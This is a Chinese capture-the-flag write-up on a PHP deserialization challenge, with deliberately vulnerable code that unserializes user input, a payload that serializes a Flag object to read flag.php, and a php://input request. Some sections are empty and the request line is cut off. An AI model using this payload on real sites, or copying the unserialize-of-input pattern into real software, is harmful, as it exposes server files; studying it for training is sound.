我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
PHP反序列化漏洞
level6-[本地复现]-[file_get_conents]-[php://input伪协议]
1.题目描述
<?php
error_reporting(0);
include("flag.php");
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$txt = $_GET["txt"];
$password = $_GET["password"];
if(!isset($txt)){
show_source(__FILE__);
exit();
}
if(file_get_contents($txt,'r')==="welcome to the aegis"){
echo "hello friend!<br>";
$password = unserialize($password);
echo $password;
}else{
echo "something wrong! try it again";
}
2.代码审计
通读代码:
<?php
error_reporting(0);
include("flag.php");
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
$txt = $_GET["txt"];
$password = $_GET["password"];
if(!isset($txt)){
show_source(__FILE__);
exit();
}
if(file_get_contents($txt,'r')==="welcome to the aegis"){
echo "hello friend!<br>";
$password = unserialize($password);
echo $password;
}else{
echo "something wrong! try it again";
}
按序,分析所得:
反序列化四要素,分析所得:
3.解题过程
第一步:分析流程
第二步:根据以上步骤构造payload
<?php
class Flag{
public $file='flag.php';
}
$chen = new Flag();
echo serialize($chen);
第三步:传入payload,读取flag值
GET内容:
?txt=php:
POST内容:
welcome to the aegis
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rg4CdJOr-1640791413151)(D:\☆学习\share\02OWASP-TOP10系统学习\A08-不安全的反序列化-PHP反序列化\images\17.png)]](https://img-blog.csdnimg.cn/0408ed43eaf94cac9d96877a2a86223d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
附:修改BurpsuiteHTTP包的字体大小的方法
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hD5GA2TS-1640791413152)(D:\☆学习\share\02OWASP-TOP10系统学习\A08-不安全的反序列化-PHP反序列化\images\16.png)]](https://img-blog.csdnimg.cn/4be5a080ccfb4196abfb46941b0fa7d5.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAcXdzbg==,size_20,color_FFFFFF,t_70,g_se,x_16)
4.总结
|